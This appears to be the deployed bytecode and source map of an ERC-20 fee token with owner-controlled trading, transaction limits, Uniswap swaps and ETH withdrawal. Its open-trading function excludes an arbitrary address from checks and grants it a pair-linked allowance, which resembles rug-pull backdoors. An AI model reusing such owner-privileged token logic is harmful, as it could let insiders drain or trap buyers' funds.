0156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb91906118ed565b50505050565b5f6103ed338484610c6b565b5f546001600160a01b031633146107365760405162461bcd60e51b81526004016104cf906118a1565b6001600160a01b0381165f908152600460205260409020805460ff1916421515179055601654600160a01b900460ff16156107b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104cf565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610815573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610839919061190c565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc919061190c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a919061190c565b601680546001600160a01b0319166001600160a01b03929092169190911790556109566009600a61187c565b61096490633b9aca0061188a565b61096e904661188a565b6001600160a01b038083165f908152600360209081526040808320601654851684529091529020919091556015546109bd913091166109af6009600a61187c565b61049790633b9aca0061188a565b600580546001600160a01b038084166001600160a01b0319909216919091179091556015541663f305d7194730610a08816001600160a01b03165f9081526001602052604090205490565b5f80610a1b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a81573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106fb9190611927565b5f546001600160a01b03163314610acf5760405162461bcd60e51b81526004016104cf906118a1565b6016805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610b115760405162461bcd60e51b81526004016104cf906118a1565b5f4711610b1c575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610b45573d5f803e3d5ffd5b50565b6001600160a01b038316610baa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104cf565b6001600160a01b038216610c0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104cf565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104cf565b6001600160a01b038216610d315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104cf565b5f8111610d925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cf565b5f80546001600160a01b03858116911614801590610dbd57505f546001600160a01b03848116911614155b1561119a576016546001600160a01b038581169116148015610ded57506015546001600160a01b03848116911614155b8015610e1157506001600160a01b0383165f9081526004602052604090205460ff16155b15610f7057601654600160a01b900460ff16610e675760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104cf565b610e8d6064610675600a54600d5411610e8257600654610e86565b6008545b8590611374565b9050601154821115610ee15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104cf565b60125482610f03856001600160a01b03165f9081526001602052604090205490565b610f0d9190611952565b1115610f5b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b600d8054905f610f6a83611965565b91905055505b6016546001600160a01b03848116911614801590610fa657506001600160a01b0383165f9081526004602052604090205460ff16155b156110255760125482610fcd856001600160a01b03165f9081526001602052604090205490565b610fd79190611952565b11156110255760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b6016546001600160a01b03848116911614801561104b57506001600160a01b0384163014155b15611078576110756064610675600b54600d541161106b57600754610e86565b6009548590611374565b90505b601654600160a81b900460ff1615801561109f57506016546001600160a01b038481169116145b80156110b45750601654600160b01b900460ff165b80156110c35750600c54600d54115b80156110e757506001600160a01b0384165f9081526004602052604090205460ff16155b1561119a57305f9081526001602052604090205460135481111561117757600f54431115611114575f600e555b601054600e541061115a5760405162461bcd60e51b815260206004820152601060248201526f21a0903130b630b731b29039b2b6361760811b60448201526064016104cf565b6111776111728461116d84601454611433565b611433565b611447565b611180476115b7565b600e8054905f61118f83611965565b909155505043600f55505b801561121257305f908152600160205260409020546111b990826112d7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112099085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112349083611618565b6001600160a01b0385165f908152600160205260409020556112776112598383611618565b6001600160a01b0385165f90815260016020526040902054906112d7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c08585611618565b60405190815260200160405180910390a350505050565b5f806112e38385611952565b9050838110156113355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b9392505050565b5f818484111561135f5760405162461bcd60e51b81526004016104cf9190611685565b505f61136b848661197d565b95945050505050565b5f825f0361138357505f6103f1565b5f61138e838561188a565b90508261139b8583611990565b146113355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b5f61133583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611659565b5f8183116114415782611335565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148d5761148d6119af565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611508919061190c565b8160018151811061151b5761151b6119af565b6001600160a01b0392831660209182029290920101526015546115419130911684610b48565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115799085905f908690309042906004016119c3565b5f604051808303815f87803b158015611590575f80fd5b505af11580156115a2573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b6005546001600160a01b03165f908152600160205260408120546115db9083611952565b6005546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611613573d5f803e3d5ffd5b505050565b5f61133583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133c565b5f81836116795760405162461bcd60e51b81526004016104cf9190611685565b505f61136b8486611990565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b45575f80fd5b5f80604083850312156116df575f80fd5b82356116ea816116ba565b946020939093013593505050565b5f805f6060848603121561170a575f80fd5b8335611715816116ba565b92506020840135611725816116ba565b929592945050506040919091013590565b5f60208284031215611746575f80fd5b8135611335816116ba565b5f8060408385031215611762575f80fd5b823561176d816116ba565b9150602083013561177d816116ba565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103f1565b816117f857505f6103f1565b816001811461180e576002811461181857611834565b60019150506103f1565b60ff84111561182957611829611788565b50506001821b6103f1565b5060208310610133831016604e8410600b8410161715611857575081810a6103f1565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f61133560ff8416836117de565b80820281158282048414176103f1576103f1611788565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118e6575f80fd5b5051919050565b5f602082840312156118fd575f80fd5b81518015158114611335575f80fd5b5f6020828403121561191c575f80fd5b8151611335816116ba565b5f805f60608486031215611939575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103f1576103f1611788565b5f6001820161197657611976611788565b5060010190565b818103818111156103f1576103f1611788565b5f826119aa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a135784516001600160a01b0316835293830193918301916001016119ee565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046531bb33cfa3c2c6368b442346e77bea856a676982051c0c3cae3036e71dbfe64736f6c63430008190033
Deployed Bytecode Sourcemap
3592:8563:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5523:83;;;;;;;;;;-1:-1:-1;5593:5:0;;;;;;;;;;;;-1:-1:-1;;;5593:5:0;;;;5523:83;;;;;;;:::i;:::-;;;;;;;;7085:161;;;;;;;;;;-1:-1:-1;7085:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7085:161:0;893:187:1;4813:45:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4813:45:0;1085:177:1;5800:95:0;;;;;;;;;;;;;:::i;6650:427::-;;;;;;;;;;-1:-1:-1;6650:427:0;;;;;:::i;:::-;;:::i;5709:83::-;;;;;;;;;;-1:-1:-1;5709:83:0;;4456:1;1870:36:1;;1858:2;1843:18;5709:83:0;1728:184:1;5903:119:0;;;;;;;;;;-1:-1:-1;5903:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5996:18:0;5969:7;5996:18;;;:9;:18;;;;;;;5903:119;2673:148;;;;;;;;;;;;;:::i;:::-;;10555:159;;;;;;;;;;;;;:::i;11055:238::-;;;;;;;;;;-1:-1:-1;11055:238:0;;;;;:::i;:::-;;:::i;4642:49::-;;;;;;;;;;;;;;;;2459:79;;;;;;;;;;-1:-1:-1;2497:7:0;2524:6;2459:79;;-1:-1:-1;;;;;2524:6:0;;;2315:51:1;;2303:2;2288:18;2459:79:0;2169:203:1;4698:49:0;;;;;;;;;;;;;;;;5614:87;;;;;;;;;;-1:-1:-1;5686:7:0;;;;;;;;;;;;-1:-1:-1;;;5686:7:0;;;;5614:87;;6030:167;;;;;;;;;;-1:-1:-1;6030:167:0;;;;;:::i;:::-;;:::i;11301:698::-;;;;;;;;;;-1:-1:-1;11301:698:0;;;;;:::i;:::-;;:::i;4754:52::-;;;;;;;;;;;;;;;;12007:108;;;;;;;;;;;;;:::i;4380:34::-;;;;;;;;;;;;;;;;6499:143;;;;;;;;;;-1:-1:-1;6499:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6607:18:0;;;6580:7;6607:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6499:143;10886:161;;;;;;;;;;;;;:::i;7085:::-;7160:4;7177:39;294:10;7200:7;7209:6;7177:8;:39::i;:::-;-1:-1:-1;7234:4:0;7085:161;;;;;:::o;5800:95::-;5853:7;4512:15;4456:1;4512:2;:15;:::i;:::-;4499:28;;:10;:28;:::i;:::-;5873:14;;5800:95;:::o;6650:427::-;6748:4;6765:36;6775:6;6783:9;6794:6;6765:9;:36::i;:::-;6830:1;6815:12;:16;:37;;;;-1:-1:-1;6835:17:0;6815:37;-1:-1:-1;6869:178:0;6878:6;294:10;6900:146;6995:6;6900:146;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6946:19:0;;;;;;:11;:19;;;;;;;;294:10;6946:33;;;;;;;;6900:9;:23;;;;;:31;;;;;;;;;;:80;;:45;:80::i;:::-;:94;:146;:94;:146::i;:::-;6869:8;:178::i;:::-;-1:-1:-1;7065:4:0;6650:427;;;;;:::o;2673:148::-;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;;;;;;;;;2780:1:::1;2764:6:::0;;2743:40:::1;::::0;-1:-1:-1;;;;;2764:6:0;;::::1;::::0;2743:40:::1;::::0;2780:1;;2743:40:::1;2811:1;2794:19:::0;;-1:-1:-1;;;;;;2794:19:0::1;::::0;;2673:148::o;10555:159::-;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;4512:15:::1;4456:1;4512:2;:15;:::i;:::-;4499:28;::::0;:10:::1;:28;:::i;:::-;10608:12;:22:::0;4512:15:::1;4456:1;4512:2;:15;:::i;:::-;4499:28;::::0;:10:::1;:28;:::i;:::-;10641:14;:22:::0;10679:27:::1;4512:15;4456:1;4512:2;:15;:::i;:::-;4499:28;::::0;:10:::1;:28;:::i;:::-;10679:27;::::0;1231:25:1;;;1219:2;1204:18;10679:27:0::1;;;;;;;10555:159::o:0;11055:238::-;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;11163:41:::1;::::0;-1:-1:-1;;;11163:41:0;;11198:4:::1;11163:41;::::0;::::1;2315:51:1::0;11145:15:0::1;::::0;11163:63:::1;::::0;11222:3:::1;::::0;11163:54:::1;::::0;11209:7;;-1:-1:-1;;;;;11163:26:0;::::1;::::0;::::1;::::0;2288:18:1;;11163:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;11145:81:::0;-1:-1:-1;;;;;;11237:25:0;::::1;;294:10:::0;11237:48:::1;::::0;-1:-1:-1;;;;;;11237:48:0::1;::::0;;;;;;-1:-1:-1;;;;;5194:32:1;;;11237:48:0::1;::::0;::::1;5176:51:1::0;5243:18;;;5236:34;;;5149:18;;11237:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11134:159;11055:238:::0;;:::o;6030:167::-;6108:4;6125:42;294:10;6149:9;6160:6;6125:9;:42::i;11301:698::-;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11370:22:0;::::1;11413:1;11370:22:::0;;;:18:::1;:22;::::0;;;;:44;;-1:-1:-1;;11370:44:0::1;11395:15;:19:::0;;11370:44:::1;::::0;;11434:11:::1;::::0;-1:-1:-1;;;11434:11:0;::::1;11370:44;11434:11;11433:12;11425:47;;;::::0;-1:-1:-1;;;11425:47:0;;5765:2:1;11425:47:0::1;::::0;::::1;5747:21:1::0;5804:2;5784:18;;;5777:30;5843:25;5823:18;;;5816:53;5886:18;;11425:47:0::1;5563:347:1::0;11425:47:0::1;11483:15;:80:::0;;-1:-1:-1;;;;;;11483:80:0::1;11520:42;11483:80:::0;;::::1;::::0;;;11608:25:::1;::::0;;-1:-1:-1;;;11608:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;11520:42;11608:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11590:55:0::1;;11654:4;11661:15;;;;;;;;;-1:-1:-1::0;;;;;11661:15:0::1;-1:-1:-1::0;;;;;11661:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11590:94;::::0;-1:-1:-1;;;;;;11590:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6401:15:1;;;11590:94:0::1;::::0;::::1;6383:34:1::0;6453:15;;6433:18;;;6426:43;6318:18;;11590:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11574:13;:110:::0;;-1:-1:-1;;;;;;11574:110:0::1;-1:-1:-1::0;;;;;11574:110:0;;;::::1;::::0;;;::::1;::::0;;4512:15:::1;4456:1;4512:2;:15;:::i;:::-;4499:28;::::0;:10:::1;:28;:::i;:::-;11726:23;::::0;:13:::1;:23;:::i;:::-;-1:-1:-1::0;;;;;11695:13:0;;::::1;;::::0;;;:9:::1;:13;::::0;;;;;;;11709::::1;::::0;;::::1;11695:28:::0;;;;;;;:54;;;;11792:15:::1;::::0;11760:58:::1;::::0;11777:4:::1;::::0;11792:15:::1;4512;4456:1;4512:2;:15;:::i;:::-;4499:28;::::0;:10:::1;:28;:::i;11760:58::-;11829:8;:22:::0;;-1:-1:-1;;;;;11829:22:0;;::::1;-1:-1:-1::0;;;;;;11829:22:0;;::::1;::::0;;;::::1;::::0;;;11862:15:::1;::::0;::::1;:31;11901:21;11932:4;11938:24;11932:4:::0;-1:-1:-1;;;;;5996:18:0;5969:7;5996:18;;;:9;:18;;;;;;;5903:119;11938:24:::1;11963:1;11965::::0;11967:7:::1;2497::::0;2524:6;-1:-1:-1;;;;;2524:6:0;;2459:79;11967:7:::1;11862:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11862:129:0;;;-1:-1:-1;;;;;6839:15:1;;;11862:129:0::1;::::0;::::1;6821:34:1::0;6871:18;;;6864:34;;;;6914:18;;;6907:34;;;;6957:18;;;6950:34;7021:15;;;7000:19;;;6993:44;11975:15:0::1;7053:19:1::0;;;7046:35;6755:19;;11862:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;12007:108::-:0;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;12060:11:::1;:18:::0;;-1:-1:-1;;;;12089:18:0;-1:-1:-1;;;12089:18:0;;;12007:108::o;10886:161::-;2586:6;;-1:-1:-1;;;;;2586:6:0;294:10;2586:22;2578:67;;;;-1:-1:-1;;;2578:67:0;;;;;;;:::i;:::-;10973:1:::1;10949:21;:25;10941:34;;;::::0;::::1;;10986:53;::::0;294:10;;11017:21:::1;10986:53:::0;::::1;;;::::0;::::1;::::0;;;11017:21;294:10;10986:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10886:161::o:0;7254:335::-;-1:-1:-1;;;;;7347:19:0;;7339:68;;;;-1:-1:-1;;;7339:68:0;;7605:2:1;7339:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:34;7778:19;;7339:68:0;7403:400:1;7339:68:0;-1:-1:-1;;;;;7426:21:0;;7418:68;;;;-1:-1:-1;;;7418:68:0;;8010:2:1;7418:68:0;;;7992:21:1;8049:2;8029:18;;;8022:30;8088:34;8068:18;;;8061:62;-1:-1:-1;;;8139:18:1;;;8132:32;8181:19;;7418:68:0;7808:398:1;7418:68:0;-1:-1:-1;;;;;7497:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7549:32;;1231:25:1;;;7549:32:0;;1204:18:1;7549:32:0;;;;;;;7254:335;;;:::o;7597:2360::-;-1:-1:-1;;;;;7685:18:0;;7677:68;;;;-1:-1:-1;;;7677:68:0;;8413:2:1;7677:68:0;;;8395:21:1;8452:2;8432:18;;;8425:30;8491:34;8471:18;;;8464:62;-1:-1:-1;;;8542:18:1;;;8535:35;8587:19;;7677:68:0;8211:401:1;7677:68:0;-1:-1:-1;;;;;7764:16:0;;7756:64;;;;-1:-1:-1;;;7756:64:0;;8819:2:1;7756:64:0;;;8801:21:1;8858:2;8838:18;;;8831:30;8897:34;8877:18;;;8870:62;-1:-1:-1;;;8948:18:1;;;8941:33;8991:19;;7756:64:0;8617:399:1;7756:64:0;7848:1;7839:6;:10;7831:64;;;;-1:-1:-1;;;7831:64:0;;9223:2:1;7831:64:0;;;9205:21:1;9262:2;9242:18;;;9235:30;9301:34;9281:18;;;9274:62;-1:-1:-1;;;9352:18:1;;;9345:39;9401:19;;7831:64:0;9021:405:1;7831:64:0;7906:17;2524:6;;-1:-1:-1;;;;;7940:15:0;;;2524:6;;7940:15;;;;:32;;-1:-1:-1;2497:7:0;2524:6;-1:-1:-1;;;;;7959:13:0;;;2524:6;;7959:13;;7940:32;7936:1665;;;8003:13;;-1:-1:-1;;;;;7995:21:0;;;8003:13;;7995:21;:55;;;;-1:-1:-1;8034:15:0;;-1:-1:-1;;;;;8020:30:0;;;8034:15;;8020:30;;7995:55;:83;;;;-1:-1:-1;;;;;;8056:22:0;;;;;;:18;:22;;;;;;;;8054:24;7995:83;7991:483;;;8108:11;;-1:-1:-1;;;8108:11:0;;;;8100:44;;;;-1:-1:-1;;;8100:44:0;;9633:2:1;8100:44:0;;;9615:21:1;9672:2;9652:18;;;9645:30;-1:-1:-1;;;9691:18:1;;;9684:51;9752:18;;8100:44:0;9431:345:1;8100:44:0;8175:76;8247:3;8175:67;8197:15;;8187:9;;:25;8186:55;;8227:14;;8186:55;;;8214:12;;8186:55;8175:6;;:10;:67::i;:76::-;8163:88;;8288:12;;8278:6;:22;;8270:60;;;;-1:-1:-1;;;8270:60:0;;9983:2:1;8270:60:0;;;9965:21:1;10022:2;10002:18;;;9995:30;10061:27;10041:18;;;10034:55;10106:18;;8270:60:0;9781:349:1;8270:60:0;8383:14;;8373:6;8357:13;8367:2;-1:-1:-1;;;;;5996:18:0;5969:7;5996:18;;;:9;:18;;;;;;;5903:119;8357:13;:22;;;;:::i;:::-;:40;;8349:79;;;;-1:-1:-1;;;8349:79:0;;10467:2:1;8349:79:0;;;10449:21:1;10506:2;10486:18;;;10479:30;10545:28;10525:18;;;10518:56;10591:18;;8349:79:0;10265:350:1;8349:79:0;8447:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7991:483;8500:13;;-1:-1:-1;;;;;8494:19:0;;;8500:13;;8494:19;;;;:47;;-1:-1:-1;;;;;;8519:22:0;;;;;;:18;:22;;;;;;;;8517:24;8494:47;8490:167;;;8596:14;;8586:6;8570:13;8580:2;-1:-1:-1;;;;;5996:18:0;5969:7;5996:18;;;:9;:18;;;;;;;5903:119;8570:13;:22;;;;:::i;:::-;:40;;8562:79;;;;-1:-1:-1;;;8562:79:0;;10467:2:1;8562:79:0;;;10449:21:1;10506:2;10486:18;;;10479:30;10545:28;10525:18;;;10518:56;10591:18;;8562:79:0;10265:350:1;8562:79:0;8682:13;;-1:-1:-1;;;;;8676:19:0;;;8682:13;;8676:19;:44;;;;-1:-1:-1;;;;;;8699:21:0;;8715:4;8699:21;;8676:44;8673:175;;;8753:79;8828:3;8753:70;8775:16;;8765:9;;:26;8764:58;;8807:15;;8764:58;;;8793:13;;8753:6;;:10;:70::i;:79::-;8741:91;;8673:175;8869:6;;-1:-1:-1;;;8869:6:0;;;;8868:7;:30;;;;-1:-1:-1;8885:13:0;;-1:-1:-1;;;;;8879:19:0;;;8885:13;;8879:19;8868:30;:45;;;;-1:-1:-1;8902:11:0;;-1:-1:-1;;;8902:11:0;;;;8868:45;:77;;;;;8927:18;;8917:9;;:28;8868:77;:106;;;;-1:-1:-1;;;;;;8950:24:0;;;;;;:18;:24;;;;;;;;8949:25;8868:106;8864:726;;;9044:4;8995:28;5996:18;;;:9;:18;;;;;;9093:17;;9072:38;;9069:359;;;9154:13;;9139:12;:28;9135:98;;;9208:1;9196:9;:13;9135:98;9275:15;;9263:9;;:27;9255:56;;;;-1:-1:-1;;;9255:56:0;;10962:2:1;9255:56:0;;;10944:21:1;11001:2;10981:18;;;10974:30;-1:-1:-1;;;11020:18:1;;;11013:46;11076:18;;9255:56:0;10760:340:1;9255:56:0;9350:58;9358:49;9362:6;9369:37;9373:20;9394:11;;9369:3;:37::i;:::-;9358:3;:49::i;:::-;9350:7;:58::i;:::-;9446:34;9458:21;9446:11;:34::i;:::-;9499:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9545:12:0;9529:13;:28;-1:-1:-1;8864:726:0;9616:11;;9613:161;;9684:4;9666:24;;;;:9;:24;;;;;;:39;;9695:9;9666:28;:39::i;:::-;9659:4;9641:24;;;;:9;:24;;;;;;;:64;;;;9723:39;;-1:-1:-1;;;;;9723:39:0;;;;;;;9752:9;1231:25:1;;1219:2;1204:18;;1085:177;9723:39:0;;;;;;;;9613:161;-1:-1:-1;;;;;9800:15:0;;;;;;:9;:15;;;;;;:27;;9820:6;9800:19;:27::i;:::-;-1:-1:-1;;;;;9784:15:0;;;;;;:9;:15;;;;;:43;9852:40;9870:21;:6;9881:9;9870:10;:21::i;:::-;-1:-1:-1;;;;;9852:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9838:13:0;;;;;;;:9;:13;;;;;:54;;;;9908:41;;;9927:21;:6;9938:9;9927:10;:21::i;:::-;9908:41;;1231:25:1;;;1219:2;1204:18;9908:41:0;;;;;;;7666:2291;7597:2360;;;:::o;1020:179::-;1078:7;;1110:5;1114:1;1110;:5;:::i;:::-;1098:17;;1139:1;1134;:6;;1126:46;;;;-1:-1:-1;;;1126:46:0;;11307:2:1;1126:46:0;;;11289:21:1;11346:2;11326:18;;;11319:30;11385:29;11365:18;;;11358:57;11432:18;;1126:46:0;11105:351:1;1126:46:0;1190:1;1020:179;-1:-1:-1;;;1020:179:0:o;1351:190::-;1437:7;1473:12;1465:6;;;;1457:29;;;;-1:-1:-1;;;1457:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1497:9:0;1509:5;1513:1;1509;:5;:::i;:::-;1497:17;1351:190;-1:-1:-1;;;;;1351:190:0:o;1549:246::-;1607:7;1631:1;1636;1631:6;1627:47;;-1:-1:-1;1661:1:0;1654:8;;1627:47;1684:9;1696:5;1700:1;1696;:5;:::i;:::-;1684:17;-1:-1:-1;1729:1:0;1720:5;1724:1;1684:17;1720:5;:::i;:::-;:10;1712:56;;;;-1:-1:-1;;;1712:56:0;;12018:2:1;1712:56:0;;;12000:21:1;12057:2;12037:18;;;12030:30;12096:34;12076:18;;;12069:62;-1:-1:-1;;;12147:18:1;;;12140:31;12188:19;;1712:56:0;11816:397:1;1803:132:0;1861:7;1888:39;1892:1;1895;1888:39;;;;;;;;;;;;;;;;;:3;:39::i;9967:98::-;10024:7;10051:1;10049;:3;10048:9;;10056:1;10048:9;;;-1:-1:-1;10054:1:0;9967:98;-1:-1:-1;9967:98:0:o;10073:474::-;5124:6;:13;;-1:-1:-1;;;;5124:13:0;-1:-1:-1;;;5124:13:0;;;10166:16:::1;::::0;;10180:1:::1;10166:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10166:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10166:16:0::1;10142:40;;10211:4;10193;10198:1;10193:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10193:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10237:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10237:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10193:7;;10237:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10227:4;10232:1;10227:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10227:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10302:15:::1;::::0;10270:62:::1;::::0;10287:4:::1;::::0;10302:15:::1;10320:11:::0;10270:8:::1;:62::i;:::-;10343:15;::::0;:196:::1;::::0;-1:-1:-1;;;10343:196:0;;-1:-1:-1;;;;;10343:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10424:11;;10343:15:::1;::::0;10466:4;;10493::::1;::::0;10513:15:::1;::::0;10343:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5160:6:0;:14;;-1:-1:-1;;;;5160:14:0;;;-1:-1:-1;;;;10073:474:0:o;10722:156::-;10815:8;;-1:-1:-1;;;;;10815:8:0;10778:15;5996:18;;;:9;:18;;;;;;10796:28;;:6;:28;:::i;:::-;10844:8;;:26;;10778:46;;-1:-1:-1;;;;;;10844:8:0;;:26;;;;;10778:46;;10844:8;:26;:8;:26;10778:46;10844:8;:26;;;;;;;;;;;;;;;;;;;;;10767:111;10722:156;:::o;1207:136::-;1265:7;1292:43;1296:1;1299;1292:43;;;;;;;;;;;;;;;;;:3;:43::i;1943:189::-;2029:7;2064:12;2057:5;2049:28;;;;-1:-1:-1;;;2049:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2088:9:0;2100:5;2104:1;2100;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681: